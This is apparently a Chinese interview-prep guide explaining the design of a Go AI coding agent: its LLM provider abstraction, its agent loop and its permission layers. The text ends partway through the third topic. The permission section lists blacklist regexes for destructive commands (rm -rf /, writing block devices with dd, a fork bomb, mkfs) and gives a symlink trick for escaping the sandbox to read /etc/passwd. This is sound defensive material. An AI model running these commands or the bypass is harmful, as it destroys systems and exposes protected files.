Skip to content

02 简历五大技术点拆解 ​

本文按简历的 5 条逐条拆解。每条的结构是: ① 简历原文 → ② 30 秒口述 → ③ 实现要点(代码依据) → ④ 设计权衡(面试官真正想听的) → ⑤ 备注与坑

代码路径均相对于 mewcode/,格式 文件:行号。


技术点 1:多协议 LLM 引擎 ​

① 简历原文 ​

多协议 LLM 引擎:协议无关的 Provider 抽象层,支持 Anthropic Messages API(含扩展思考/Prompt Cache)+ OpenAI Chat Completions + 任意兼容端点;一份配置自由切换,上层代码对协议无感

② 30 秒口述 ​

「我做了一层 llm.Provider 接口,只有三个方法:返回供应商名、返回模型名、发起一轮流式对话。 所有协议差异都收敛在两个地方:一是输入的归一化——上层给我的是一份协议无关的消息列表和工具定义,我在适配器里转成各家 SDK 要的格式;二是输出的归一化——各家的流式事件五花八门,我在适配器里统一成五种语义:文本增量、工具调用、token 用量、正常结束、出错。 所以上层 Agent 循环从头到尾不知道底下是 Anthropic 还是 OpenAI。真实的差异点主要在两处:工具结果的表达方式——Anthropic 要把 tool_result 塞进一条 user 消息里,OpenAI 是独立的 tool 角色消息;以及扩展思考和 Prompt Cache 只有 Anthropic 有,我通过配置开关和分段设计来处理。」

③ 实现要点(代码依据) ​

接口定义(internal/llm/provider.go) ​

go
type Provider interface {
	Name() string                                               // 状态栏左侧:供应商名称
	Model() string                                              // 状态栏右侧:模型名
	Stream(ctx context.Context, req Request) <-chan StreamEvent // 发起一轮流式对话
}

只有这三个方法。没有 CountTokens、Embed、ListModels 之类的多余方法——因为上层不需要。

协议无关的数据类型(provider.go) ​

类型字段设计意图
ToolCallID / Name / Input json.RawMessageInput 用 json.RawMessage 而不是 map,避免解析再序列化的开销和精度损失
ToolResultToolCallID / Content / IsErrorIsError 是独立布尔,不是靠内容约定
ToolDefinitionName / Description / InputSchema map[string]any完整 JSON Schema 透传
MessageRole / Content / ToolCalls / ToolResults只三种角色:user / assistant / tool
UsageInputTokens / OutputTokens / CacheWrite / CacheRead把两家的缓存语义统一成两个字段

StreamEvent 的五态语义(provider.go:63-72 注释原文):

Text 非空      → 文本增量(正文或 preamble)
ToolCalls 非空 → 模型请求执行这些工具(Done 之前发出)
Usage 非空     → 本轮 token 用量(Done 之前一次性发出)
Done           → 本轮正常结束
Err 非空       → 出错

关键约束:Text 与 ToolCalls 可以先后出现但不同时非空;Done/Err 互斥且是终结事件。这条约束让消费端(agent.streamOnce)可以用一个 switch 无歧义地分派。

输入拆成「稳定段 + 环境段」(缓存设计) ​

go
type System struct {
	Stable      string // 可缓存:装配好的稳定系统提示(不含时间/环境等变化成分)
	Environment string // 不缓存:环境信息段(每轮可能变化)
}

这是整个协议层最重要的一个设计。 原因:

  • Anthropic 的 Prompt Cache 是按前缀命中的——你打一个 cache_control 断点,从开头到这个断点之间的内容整段被缓存,下次请求只要这段字节完全一致就命中,价格约为正常输入 token 的 1/10。
  • 如果把「当前日期」「git 状态」这种每轮都变的东西混在系统提示里,整段缓存全部失效。
  • 所以我把系统提示拆成两段,只给稳定段打断点。

Anthropic 适配器(anthropic.go:123-137):

go
func toAnthropicSystem(sys System) []anthropic.TextBlockParam {
	var blocks []anthropic.TextBlockParam
	if sys.Stable != "" {
		blocks = append(blocks, anthropic.TextBlockParam{
			Text:         sys.Stable,
			CacheControl: anthropic.NewCacheControlEphemeralParam(), // ← 缓存断点
		})
	}
	if sys.Environment != "" {
		blocks = append(blocks, anthropic.TextBlockParam{
			Text: sys.Environment, // ← 不打断点
		})
	}
	return blocks
}

OpenAI 侧(openai.go:30-46)反过来——拼成单条 system 消息:

go
	// 首条 system 消息 = Stable + "\n\n" + Environment(单条拼接兼容端点对多条 system 支持不一);
	// Stable 居前缀使端点前缀缓存自动命中稳定部分。

为什么两边处理不一样:OpenAI 兼容端点(DeepSeek、通义、Ollama 等)对「多条 system 消息」的支持不一致,有的只认第一条、有的直接报错,所以拼成一条最稳;而 OpenAI 的前缀缓存是自动的(不用显式断点),把 Stable 放前面就能吃到。

差异点一:工具结果的表达(这是最大的协议差异) ​

AnthropicOpenAI
工具调用请求assistant 消息里的 tool_use content blockassistant 消息的 tool_calls 字段
工具结果必须是 user 消息里的 tool_result block独立的 role: "tool" 消息,每个结果一条
一条消息装多个结果可以,多个 tool_result block必须拆成多条 tool 消息

代码对照:

go
// Anthropic:把所有 tool_result 塞进一条 user 消息
case RoleTool:
	var blocks []anthropic.ContentBlockParamUnion
	for _, tr := range m.ToolResults {
		blocks = append(blocks, anthropic.NewToolResultBlock(tr.ToolCallID, tr.Content, tr.IsError))
	}
	result = append(result, anthropic.NewUserMessage(blocks...))
go
// OpenAI:每个结果一条独立 tool 消息
case RoleTool:
	for _, tr := range m.ToolResults {
		result = append(result, openai.ToolMessage(tr.Content, tr.ToolCallID))
	}

这个差异为什么重要:如果你按 Anthropic 的方式去想,会以为「一轮工具结果 = 一条消息」。实际上 OpenAI 要求拆开。而反过来,Anthropic 要求 tool_result 必须在 user 消息里——如果你发了一条 assistant 消息带 tool_result,直接 400。

差异点二:reminder 的注入位置 ​

「reminder」是每轮的补充指令(计划模式提醒、Hook 注入的文本),它不能污染稳定的系统提示(否则缓存失效),所以只能挂在消息尾部。但两家规则不同:

go
// Anthropic:并入最后一条 user 消息的 content 块;末条非 user 时新起一条 user 消息
// 注释:确保角色交替合法(N3)
func appendReminderAnthropic(msgs []anthropic.MessageParam, reminder string) []anthropic.MessageParam
go
// OpenAI:直接追加一条尾部 user 消息(OpenAI 容忍连续 user)
if req.Reminder != "" {
	result = append(result, openai.UserMessage(req.Reminder))
}

Anthropic 必须小心的坑:Anthropic 要求 user / assistant 严格交替。如果轮次循环结束后最后一条是 assistant(模型刚请求了工具),你再追加一条 user 的 reminder,会变成 ... assistant → assistant 或者违反交替规则报 400。所以代码里做了「末条是 user 就合并进去,不是就新起一条」的判断。

差异点三:扩展思考(Extended Thinking) ​

go
// 启用扩展思考(历史含工具交互时关闭,避免 400)
if p.cfg.Thinking && !hasToolHistory(req.Messages) {
	params.Thinking = anthropic.ThinkingConfigParamOfEnabled(16000)
}

为什么「历史含工具交互就关闭」:Anthropic 的约束是——如果最后一条 assistant 消息带 tool_use,那么必须立刻跟一条 tool_result,这种请求不允许开 thinking。项目里 hasToolHistory 只要历史里出现过工具调用就返回 true,是个保守判定(宁可不思考,也不能 400)。

差异点四:token 用量与缓存字段的映射 ​

go
// Anthropic
CacheWrite: int64(acc.Usage.CacheCreationInputTokens),
CacheRead:  int64(acc.Usage.CacheReadInputTokens),

// OpenAI
CacheWrite: 0,                                                  // 无对应概念
CacheRead:  int64(acc.Usage.PromptTokensDetails.CachedTokens),

CacheWrite 在 OpenAI 侧恒为 0——因为 OpenAI 的缓存是自动的,没有「写缓存」这个显式动作和计价。

差异点五:超长错误识别 ​

两家的超长错误文案不统一,只能靠字符串匹配:

go
func wrapAnthropicPTL(err error) error {
	if strings.Contains(errStr, "prompt is too long") ||
		strings.Contains(errStr, "context_length") ||
		strings.Contains(errStr, "too many tokens") {
		return fmt.Errorf("%w: %v", ErrPromptTooLong, err)
	}
	return err
}
go
func wrapOpenAIPTL(err error) error {
	if strings.Contains(errStr, "context_length_exceeded") ||
		strings.Contains(errStr, "maximum context length") ||
		strings.Contains(errStr, "too long") ||
		strings.Contains(errStr, "token") && strings.Contains(errStr, "exceed") {
		return fmt.Errorf("%w: %v", ErrPromptTooLong, err)
	}
	return err
}

这是全项目最"脆"的一段代码,原因见下面④。

任意兼容端点怎么接 ​

config.ProviderConfig 里有一个 BaseURL,非空时才覆盖 SDK 默认端点:

go
opts := []option.RequestOption{option.WithAPIKey(cfg.APIKey)}
if cfg.BaseURL != "" {
	opts = append(opts, option.WithBaseURL(cfg.BaseURL))
}

因为 DeepSeek、通义、Ollama、vLLM 等都提供 OpenAI 兼容接口,所以「接任意兼容端点」= 用 protocol: openai + 填 base_url。

④ 设计权衡(面试官想听的) ​

权衡 1:为什么用 channel 而不是 callback? ​

流式接口有两种经典设计:Stream(ctx, req, onEvent func(StreamEvent)) 和 Stream(ctx, req) <-chan StreamEvent。我选了 channel。理由:

  1. 取消语义统一。channel 方案里消费者 range 或 select,配合 ctx.Done() 自然可中断;callback 方案里要么靠 callback 返回 bool 表示停止(丑),要么靠 panic(更丑)。
  2. 背压天然存在。如果用无缓冲 channel,消费者不读、生产者就阻塞——这在 Agent 场景下是好事:UI 卡住时不应该让 LLM 请求继续往里灌数据。
  3. 组合性好。上层 streamOnce 就是一个 for ev := range stream 的循环,没有回调嵌套。

代价:每个请求多一个 goroutine,而且必须在生产端 defer close(ch)。这个我在两个适配器里都做了。

权衡 2:为什么 ToolCall.Input 用 json.RawMessage 而不是 map[string]any? ​

三个理由:① 避免「解析 → 保存 → 再序列化」的双重开销;② JSON 数字精度不会丢(map[string]any 会把数字变成 float64);③ 模型偶尔会产出不合法的 JSON 参数,用 RawMessage 我可以原样传给工具,让工具的 json.Unmarshal 去报错,而不是在协议层就崩掉。

权衡 3:为什么错误识别靠字符串匹配?(这是可以主动承认的弱点) ​

因为两家 SDK 都没有提供结构化的「超长」错误类型。我翻过 SDK 的错误定义,只有泛化的 API 错误。所以只能匹配文案。

这个方案的脆弱点是:Anthropic 改了错误文案,或者走一个第三方兼容端点、文案是中文的,这个识别就会失效。

失效后果有多严重?不会崩——只会退化成「普通错误」,走 emit(Event{Err: ...}) 结束本轮,用户看到报错。代价是失去了「紧急压缩后自动重试」这个体验,不是正确性问题。

如果要做对,正确方案是:

  • 更好的做法是预防而不是事后识别——我的 AutoSafetyMargin 留了 13,000 token 的安全余量,正常情况下应该在本地估算阶段就触发压缩,根本轮不到 provider 报错。紧急压缩是最后一道兜底。
  • 真要根治,应该改用本地 tokenizer 精确计数(比如 Anthropic 的 count_tokens 端点),把那 13,000 的余量省下来,也让超长从「事后发现」变成「事前不可能发生」。

权衡 4:ContextWindow 的默认值从哪来? ​

go
const (
	DefaultAnthropicContextWindow = 200000
	DefaultOpenAIContextWindow    = 128000
)

配置里 context_window 写 0 就用协议默认值。为什么不一刀切? 因为它直接决定压缩阈值——给 Anthropic 用 128000 会导致过早压缩(浪费了 72K 的窗口),给 OpenAI 用 200000 会导致压缩太晚(请求被拒)。所以必须按协议区分。

但这里的实现有个隐患:main.go 里 ContextWindow: cfg.Providers[0].EffectiveContextWindow() —— 写死了第 0 个 provider。如果用户在 TUI 里切换到第 2 个 provider,压缩阈值还是按第 0 个算的。这是个真实缺陷,被追问时要承认。

⑤ 备注与坑 ​

坑说明被问到怎么答
没有单测internal/llm 无任何测试文件(go test 显示 [no test files])直接承认,给出补救方案(见 06)
配置无环境变量支持api_key 只有 YAML 一层,SDK 自带的「读 ANTHROPIC_API_KEY」兜底被无条件 option.WithAPIKey 覆盖「我知道这是个体验问题——密钥只能写文件。改进方向是 api_key 支持 ${VAR} 语法或直接读环境变量,项目里 MCP 配置已经支持 ${VAR} 展开了,可以复用同一套逻辑。」
没有默认 model 表model 是必填项,validate() 里空值直接报错「我是刻意不提供默认 model 的。默认值会在模型换代后变成过期配置,用户以为自己在用新模型其实不是——显式报错比悄悄用默认值安全。」
max_tokens 写死 4096params.MaxTokens = 4096「这是个硬编码,理想应该可配。4096 对代码类回答偏小,长文件生成会被截断。这也是我要改的点之一。」
只支持两种 protocolNew() 的 default 分支直接报「不支持的协议类型」「接口是开放的,加第三家只需要实现三个方法 + 一个适配器文件,不改上层任何代码——这正是抽象的目的。」

技术点 2:多轮 ReAct Agent 闭环 ​

① 简历原文 ​

多轮 ReAct Agent 闭环:完整思考→行动→观察→思考循环(10 轮迭代上限);只读工具同轮并发执行、副作用工具串行保序;连续幻觉检测自动停止

② 30 秒口述 ​

「Agent 本体就是一个循环:调模型 → 模型要么直接给文本结束,要么请求调工具 → 我执行工具、把结果回灌进历史 → 再调模型。 有三个我认为值得讲的地方。 第一是工具执行的并发模型,我做的不是「全并发」也不是「全串行」,而是保序分批并发:连续的只读工具打包成一个批次并发跑,遇到有副作用的工具就断批、单独串行执行,不管怎么并发,结果都严格按模型请求的原始顺序回灌。 第二是停止条件,一共三条:模型自己不再请求工具(自然完成)、连续三轮整轮都请求了不存在的工具(判定为幻觉)、撞到 25 轮迭代上限。 第三是历史一致性——所有异常退出路径,不管是取消、出错还是撞上限,都会往下补一条 assistant 消息。因为如果历史末尾停在 user 或 tool 消息上,下一次请求 Anthropic 会直接 400。」

(注意:这里主动说 25 轮,不要说 10 轮。)

③ 实现要点(代码依据) ​

主循环骨架(internal/agent/agent.go:164-411) ​

go
func (a *Agent) Run(ctx context.Context, conv *conversation.Conversation, mode permission.Mode) <-chan Event {
	ch := make(chan Event)          // ← 无缓冲

	go func() {
		defer close(ch)

		atomic.StoreInt32(&a.running, 1)
		defer atomic.StoreInt32(&a.running, 0)

		a.runMu.Lock()               // ← 保证 Run 与 RunForceCompact 不并发
		defer a.runMu.Unlock()

		env := prompt.GatherEnvironment(a.version, a.provider.Model())   // Run 起始采集一次
		sys := prompt.BuildSystemPrompt(...)                            // 稳定系统提示构造一次
		unknownRun := 0

		for iter := 1; iter <= maxIterations; iter++ {
			emergencyRetried := false

			// 1. 进度事件
			if !emit(ctx, ch, Event{Iter: iter}) { finishCancelled(conv); return }

			// 2. 按 mode 取工具集(Plan 模式只给只读)
			var defs []llm.ToolDefinition
			if mode == permission.ModePlan {
				defs = a.registry.ReadOnlyDefinitions()
			} else {
				defs = a.registry.Definitions()
			}

			// 3. 上下文管理(估算 → 必要时压缩)
			anchor, anchorLen := a.runtime.GetAnchor()
			est := compact.EstimateTokens(anchor, conv.Messages(), anchorLen)
			willSummarize := est >= int64(cw - compact.SummaryReserve - compact.AutoSafetyMargin)
			out, mcErr := compact.ManageContext(ctx, in)

			// 4. 构造 reminder(plan 提醒 + hook 注入)
			reminder := a.buildReminder(mode, iter)

			// 5. 流式请求本轮
			text, calls, usage, sErr := streamOnce(ctx, a.provider, conv.Messages(), defs, sys, envText, reminder, ch)

			// 6. 紧急压缩兜底:prompt_too_long → 压一次 → 重发
			if sErr != nil && errors.Is(sErr, llm.ErrPromptTooLong) && !emergencyRetried { ... }

			// 7. 更新 usage 锚点
			if usage != nil { a.runtime.UpdateAnchor(compact.UsageAnchor(usage), conv.Len()) }

			// 8. 无工具调用 → 自然完成
			if len(calls) == 0 { ... emit(Done); return }

			// 9. 有工具调用 → 记录 assistant 回合 + 统计未知工具 + 执行
			conv.AddAssistantWithToolCalls(text, calls)
			if allUnknown(a.registry, calls) { unknownRun++ } else { unknownRun = 0 }
			results, completed := a.executeBatched(ctx, calls, mode, ch)
			a.recordFileReads(calls, results)
			conv.AddToolResults(results)     // ← 无论是否取消都回灌

			if !completed { ensureAssistantTail(conv, noticeCancelled); return }
			if unknownRun >= maxUnknownRun {
				emit(ctx, ch, Event{Notice: noticeUnknownTools})
				ensureAssistantTail(conv, noticeUnknownTools)
				emit(ctx, ch, Event{Done: true}); return
			}
		}

		// 撞到迭代上限
		emit(ctx, ch, Event{Notice: noticeMaxIter})
		ensureAssistantTail(conv, noticeMaxIter)
		emit(ctx, ch, Event{Done: true})
	}()

	return ch
}

常量(agent.go:148-161) ​

go
const (
	maxIterations        = 25 // 迭代上限兜底(F2)
	maxUnknownRun        = 3  // 连续「整轮只产生未知工具调用」的迭代数上限(F2)
	planReminderInterval = 4  // 规划模式下每隔 4 轮重复完整提醒(含首轮)
)

保序分批并发(agent.go:518-979,executeBatched) ​

这是整个项目最值得讲的一段代码。算法:

i = 0
while i < len(calls):
    if ctx 已取消: 给剩余全部填「已取消」错误结果; return (results, false)

    if registry.IsReadOnly(calls[i].Name):
        # 吃入连续只读区间 [i, j)
        j = i
        while j < len(calls) and IsReadOnly(calls[j]): j++

        # 阶段 1:逐个做 hook + 权限检查,被拒的记进 preDenied,不阻塞批次
        # 阶段 2:按序 emit 所有 Start 事件(UI 先全部显示出来)
        # 阶段 3:被拒项预填结果,不纳入并发
        # 阶段 4:未被拒的用 sync.WaitGroup 并发执行
        # 阶段 5:按原始顺序 emit End 事件 + 派发 PostToolUse hook
        i = j
    else:
        # 有副作用:单个串行执行,走完整的 hook → 权限 → Ask 流程
        i += 1

关键细节 1:为什么先 emit 所有 Start 再并发执行?

go
			// 先按序 emit 所有 Start 事件
			for k := i; k < j; k++ { emit(ctx, ch, Event{Tool: &ToolEvent{Name: ..., Phase: PhaseStart}}) }
			// 再并发执行
			wg.Wait()
			// 再按原始顺序 emit End 事件
			for k := i; k < j; k++ { emit(ctx, ch, Event{Tool: &ToolEvent{... PhaseEnd ...}}) }

因为 UI 需要「三个工具同时在跑」的视觉效果。如果 Start/End 成对发,UI 上就变成一个跑完再跑下一个,用户会以为没有并发。

关键细节 2:权限检查不破坏并发。

注释里明确写了这条不变量(ch06/spec.md 的 N3):

只读工具的并发执行不因权限检查退化为串行(只读永不触发 Ask)

实现方式是:权限检查在并发之前逐个跑完(只读工具在模式兜底里恒为 Allow,不会阻塞),把被拒的记进 preDenied map,然后把未被拒的丢进 goroutine。

关键细节 3:结果按原始顺序回灌。

go
	results := make([]llm.ToolResult, len(calls))   // 预分配,索引即原始位置
	...
	results[idx] = llm.ToolResult{...}              // goroutine 按 idx 写入,不共享

因为每个 goroutine 写的是自己那个索引,Go 的 slice 元素写入是独立内存位置,不需要锁。这比「用 channel 收集再排序」简单得多。

关键细节 4:拒绝不中断循环。

go
			// 单批多调用中被拒的回灌错误、放行的正常执行,结果按调用序与各自调用 ID 配对回灌、互不串位

被拒的工具会回灌一条 IsError: true 的结果,内容是拒绝原因(比如「路径在项目目录之外:/etc/passwd」)。模型看到这个原因后,会自己换个路径重试。这比直接中断整个循环好得多——模型有自我纠正的机会。

停止条件 ​

条件触发点提示文案
自然完成len(calls) == 0无(直接 Done)
连续未知工具unknownRun >= 3「(连续多轮只请求到未注册的工具,自动停止。)」
迭代上限iter > 25「(已达最大迭代轮数 25,自动停止;可继续发消息推进。)」
用户取消ctx.Err() != nil「(已取消。)」
请求出错sErr != nil「(请求出错,本轮已中断。)」

「连续未知工具」的精确语义:

go
func allUnknown(registry *tool.Registry, calls []llm.ToolCall) bool {
	if len(calls) == 0 { return false }
	for _, c := range calls {
		if _, ok := registry.Get(c.Name); ok { return false }  // 只要有一个认识就返回 false
	}
	return true
}

不是「请求了未知工具」就计数,而是「整轮请求的每一个工具都是未知的」才计数。 而且中途只要有一轮正常,计数器清零。

为什么要专门做这个检测? 因为模型幻觉出来的工具名会被 Registry.Execute 兜底成「未知工具: xxx」的 IsError 结果。如果只有这一层兜底,模型可能陷入「请求一个不存在的工具 → 收到错误 → 再请求一次」的死循环,白白烧 25 轮 token。这个检测把它卡在 3 轮。

历史一致性:ensureAssistantTail ​

go
// ensureAssistantTail 若历史末尾不是 assistant 角色,补一条兜底文本。
func ensureAssistantTail(conv *conversation.Conversation, fallback string) {
	if conv.LastRole() != llm.RoleAssistant {
		conv.AddAssistant(fallback)
	}
}

为什么必须做:Anthropic 的 Messages API 要求 user / assistant 严格交替且必须以 assistant 结尾(下一轮请求时)。如果模型请求了工具,历史末尾变成 tool 消息(在 Anthropic 侧表现为一条 user 消息带 tool_result),此时如果本轮异常退出(取消/出错),历史就停在非 assistant 上。用户再发一条消息时,请求体是 ... user(tool_result) → user(新消息),Anthropic 直接 400。

所有 5 条退出路径都调了这个函数:取消、流错误、上下文管理错误、未知工具停止、迭代上限。

事件流(agent.go:79-89) ​

go
type Event struct {
	Text     string           // 模型文本增量
	Tool     *ToolEvent       // 工具调用开始/结束
	Usage    *Usage           // 本轮 token 用量
	Iter     int              // >0:进入第 Iter 轮迭代
	Notice   string           // 系统提示(停止原因等),仅用于 UI 展示,不入对话历史
	Done     bool             // 本轮(整个 Loop)结束
	Err      error            // 出错(不中断会话)
	Approval *ApprovalRequest // 非空:请求人在回路批准
	Compact  *CompactEvent    // 压缩生命周期事件
}

设计要点:所有字段都是可选的,消费端按「非零字段」switch 分派。这样加新事件类型时不用改接口签名——只需要加一个字段 + 在消费端加一个 case。比「用 interface + 类型断言」轻量得多。

④ 设计权衡 ​

权衡 1:为什么只读并发、写串行,而不是全并发或全串行? ​

全串行的代价:模型一次请求读 5 个文件,串行就是 5 × 延迟。如果每个文件读盘 50ms,就是 250ms 白白浪费——而这 5 个读之间没有任何依赖。

全并发的代价:如果同一轮里有 write_file(a.go) 和 bash(go build),并发的话 go build 可能在写完成之前跑,读到旧代码。更糟的是两个 write_file 写同一个文件会互相覆盖。这类 bug 是概率性的、最难查的。

分批的收益:拿到了「无依赖时不等待、有依赖时保序」的最优解。而判断依据就是 ReadOnly() 这一个布尔——因为「只读」在语义上等价于「无副作用、不影响其他工具的观察结果」,所以可以安全并发。

这个抽象成立吗? 有个边界情况:两个只读工具读同一个文件,其中一个读到写了一半的内容——但这是写入方的问题(写入方是串行的、有权限拦的),不是并发读的问题。所以判定成立。

权衡 2:为什么用「一整轮全未知」而不是「单个未知工具」作幻觉信号? ​

如果一个批次里模型请求了 [read_file, reaad_file](拼错了第二个),「单个未知」会立刻计数;但模型下一轮大概率自己发现并纠正。我要求整轮全落空,就是为了给它自我纠正的空间——只要有一次拼对,就说明它在正常工作。

代价是:如果一个错误工具名和一个正确工具名永远成对出现,这个检测永远不会触发。但那种情况下模型其实在正常干活,不该停。

权衡 3:25 轮够不够? ​

这是我改过的一个数字(简历上的 10 轮是旧值)。改成 25 的原因:一个真实的复杂任务——比如「重构 auth 模块」——大概是:glob 找文件(1轮) → read 三个文件(1轮) → grep 找引用(1轮) → 分析后写一个文件(1轮) → 跑测试(1轮) → 修 3 个错误(3轮) → 跑测试(1轮) ≈ 10 轮。如果中途有反复,15–20 轮是常见的。10 轮会在任务快完成时被切断,非常挫败。

25 轮的成本是:最坏情况下烧掉 25 轮 token。但因为「模型不再请求工具就停」,正常任务根本到不了 25 轮——这个上限只在异常时起作用,所以在「够用」和「兜底」之间,我选择给大一点。

权衡 4:Run 返回 channel,为什么不是 callback 或同步返回? ​

和 Provider 的考量相同,但这里多一层收益:TUI 需要实时渲染。如果 Run 是同步返回最终结果的,UI 只能干等;返回 channel 后,TUI 能拿到「进入第几轮」「哪个工具在跑」「用了多少 token」这些中间状态,才能做出真正的流式体验。

代价是要处理「消费者消失」:

go
func emit(ctx context.Context, ch chan<- Event, e Event) bool {
	select {
	case ch <- e:
		return true
	case <-ctx.Done():
		return false
	}
}

所有 emit 都走这个函数。因为 channel 是有缓冲/无缓冲的,如果消费者(TUI)退出而 agent 还在发,ch <- e 会永久阻塞,goroutine 泄漏。加上 ctx.Done() 分支后,取消时立刻返回 false,然后所有调用点都会走「给剩余工具填取消结果 → return」的收尾路径。

这段代码的调用点非常多(我数了一下大概 30 处),每个地方都要处理 false 的分支(提前 return 并回填剩余结果)。这是 channel 方案的真实成本——代码比 callback 方案啰嗦。

⑤ 备注与坑 ​

坑说明
maxIterations 硬编码不可配置。理由:「迭代上限应该是产品的安全兜底,让用户配的话,改成 1000 就等于关掉了兜底。」
子 Agent 的幻觉阈值更严run_to_completion.go 里 maxUnknownRunSub = 2(主 Agent 是 3)。理由:子 Agent 的轮数预算本来就少,早点停更划算。
running 标记和 runMu 双保险running 是给 TUI 查询「agent 是否在跑」用的(原子读);runMu 是真正防止 Run 和 RunForceCompact 并发的锁。两者职责不同。
事件 channel 无缓冲无缓冲 = 强背压。好处是 TUI 卡住时 agent 不空转;代价是 TUI 的每一帧渲染都会卡住 agent。见 07 文档的 O(n²) 讨论。
ensureFinal 保证非空文本如果模型返回空文本且没有工具调用,会兜底写「(任务已完成)」——否则历史里会出现空的 assistant 消息。

技术点 3:五层权限防御体系 ​

⚠️ 这是字节面试官最可能深挖的一条。建议配合 04-面试题库-权限与安全.md 一起看。

① 简历原文 ​

五层权限防御体系:① 危险命令黑名单 → ② 文件操作沙箱 → ③ YAML 规则引擎三层优先级匹配 → ④ 四档模式兜底(Default/AcceptEdits/Plan/Bypass)→ ⑤ 人在回路弹窗,TUI 实时模式切换无需重启

② 30 秒口述 ​

「权限我设计成一条流水线,五层按固定顺序判定,命中即短路,全过才执行。 第一层是危险命令黑名单,10 条正则,覆盖 rm -rf /、mkfs、dd of=/dev/sda、fork 炸弹这类极端破坏。它的特殊之处是不可配置放开——用户改不了、关不掉,而且连 Bypass 模式都绕不过,因为它是最高优先级。 第二层是文件沙箱,把文件操作锁在项目目录内。这里有个我觉得挺重要的细节:判断路径时我先解析符号链接再比对前缀,否则项目里一个指向 /etc 的软链接就能把沙箱绕过去;对还不存在的新文件,我会回退到最近的已存在祖先目录去解析,避免「新建文件」这个正常场景被误拦。 第三层是 YAML 规则引擎,三层配置从近到远——本地级、项目级、用户级,就近命中即返回;规则支持精确匹配、正则、通配和取反四种语法。 第四层是四档模式兜底,这是关键:它只会产生「允许」或「询问」,永远不产生「拒绝」。因为拒绝是规则和黑名单的职责,模式只是「用户想让 Agent 多自由」的档位。 第五层是人在回路,判定为「询问」时通过 channel 把请求丢给 TUI 弹窗,Agent 阻塞等人回答,三选一:允许本次、永久允许、拒绝。选永久允许会把这条精确调用写成规则落盘,跨会话生效。」

③ 实现要点(代码依据) ​

流水线(internal/permission/engine.go) ​

go
func (e *Engine) Check(mode Mode, call llm.ToolCall, readOnly bool) (Decision, string) {
	cat := categorize(call.Name, readOnly)
	friendly := friendlyName(call.Name)
	target, isFile, ok := extractTarget(call)

	// ① 黑名单:仅对命令执行类生效(N1 最高优先级,bypass 也拦)
	if cat == CategoryExec && target != "" && hitsBlacklist(target) {
		return Deny, "命中危险命令黑名单:" + summarize(target, 60)
	}

	// ② 沙箱:仅对文件类工具生效(N2)
	if isFile {
		if !ok {
			return Deny, "无法解析文件路径参数,安全拒绝"
		}
		if !e.sandboxOK(target) {
			return Deny, "路径在项目目录之外:" + target
		}
	}

	// ③ 规则引擎:本地 > 项目 > 用户,就近命中即返回
	for _, layer := range []struct{ rs RuleSet; name string }{
		{e.local, "本地"}, {e.project, "项目"}, {e.user, "用户"},
	} {
		if d, hit := layer.rs.match(friendly, target, isFile); hit {
			if d == Deny {
				return Deny, fmt.Sprintf("匹配 %s deny 规则:%s(%s)", layer.name, friendly, target)
			}
			return Allow, ""
		}
	}

	// ④ 模式兜底矩阵:只产 Allow 或 Ask
	return modeFallback(mode, cat)
}

第 ① 层:黑名单(internal/permission/blacklist.go) ​

10 条正则,逐条列出:

#正则(简化)拦什么
1rm\s+(-[a-zA-Z]*[rf][a-zA-Z]*\s+)+(/|~|$HOME|/\*)rm -rf /、rm -rf ~ 等变体
2dd\s+.*of=/dev/(sd|hd|nvme|disk|xvd|vd|mmcblk|loop|ram|pmem)dd 写块设备
3:\(\)\s*\{[^}]*|[^}]*&\s*\}fork 炸弹
4\bmkfs\.mkfs 格式化
5>\s*/dev/(sd|hd|nvme|...)\)重定向覆盖块设备
6chmod\s+-R\s+0?777\s+(/|/etc|/bin|/sbin|/usr|/var)递归 777 敏感目录
7\bdd\s+if=.*\s+of=/dev/(sd|hd|nvme)dd if/of 变体
8rm\s+.*--no-preserve-root\s+(/|/\*)带 --no-preserve-root 的删除
9\bmv\s+.*\s+(/etc/passwd|/etc/shadow|/etc/sudoers|/boot/)覆盖关键系统文件
10(wipefs|dd)\s+.*/dev/(sd[a-z]|hd[a-z]|nvme\dn\d)\b清分区表

包注释里的两条不变量(这是设计的核心,一定要背):

go
// 覆盖已知高危模式:递归强删根/家目录、写块设备、fork 炸弹、
// 重定向覆盖磁盘设备、格式化文件系统、递归改权限到 777 等。
// 用户不可增删或关闭黑名单;bypassPermissions 也拦。

注意命中条件有三个:cat == CategoryExec(只对命令类)+ target != ""(能解析出命令串)+ 正则命中。

第 ② 层:沙箱(internal/permission/sandbox.go) ​

核心函数 sandboxOK:

go
func (e *Engine) sandboxOK(path string) bool {
	if path == "" { path = e.root }
	abs := path
	if !filepath.IsAbs(abs) { abs = filepath.Join(e.root, path) }
	abs = filepath.Clean(abs)                     // 清理 .. 等
	resolved := evalSymlinksOrAncestor(abs)       // 解析符号链接(或祖先回退)
	sep := string(os.PathSeparator)
	return resolved == e.root || strings.HasPrefix(resolved, e.root+sep)
}

两个关键设计:

  1. 先解析符号链接再比对(N2)。如果直接比 strings.HasPrefix(abs, root),项目里放一个 ln -s /etc ./evil,然后读 ./evil/passwd 就绕过去了——因为字符串前缀是对的,但实际指向项目外。
  2. 祖先回退(evalSymlinksOrAncestor)。新文件 a/b/c/new.go 里 b/c 还不存在,EvalSymlinks 会失败。如果失败就当拒绝,那新建文件这个最常见的场景全废了。所以代码逐级回退到最近存在的祖先:
go
	// 覆盖"新建文件、含未创建中间目录"的场景:假设
	// root=/a(已存在),目标=/a/b/c/new.go(b/c 尚不存在),
	// 则回退 /a/b/c → /a/b → /a(存在),解析 /a 的符号链接后拼回 b/c/new.go。

前缀比对的边界处理:用 root+sep 而不是 root——否则 root 是 /home/me/proj 时,/home/me/project2 会被误判为「在项目内」(因为以 /home/me/proj 开头)。这是个经典的路径前缀 bug,值得单独讲。

第 ③ 层:规则引擎(rule.go + matcher.go + settings.go) ​

三层配置文件与优先级:

层级路径用途
本地级(最高)<root>/.mewcode/settings.local.yaml个人偏好,gitignore 保护;「永久允许」写这里
项目级<root>/.mewcode/settings.yaml团队共享,可提交
用户级(最低)~/.mewcode/settings.yaml全局

层间语义:local > project > user,就近命中即返回(不合并、不继续往下找)。

层内语义:deny 优先于 allow。

go
func (rs RuleSet) match(friendly, target string, isFile bool) (Decision, bool) {
	// deny 优先
	for _, r := range rs.deny {
		if r.Tool == friendly && matchRule(r, target) { return Deny, true }
	}
	// allow
	for _, r := range rs.allow {
		if r.Tool == friendly && matchRule(r, target) { return Allow, true }
	}
	return Decision(0), false
}

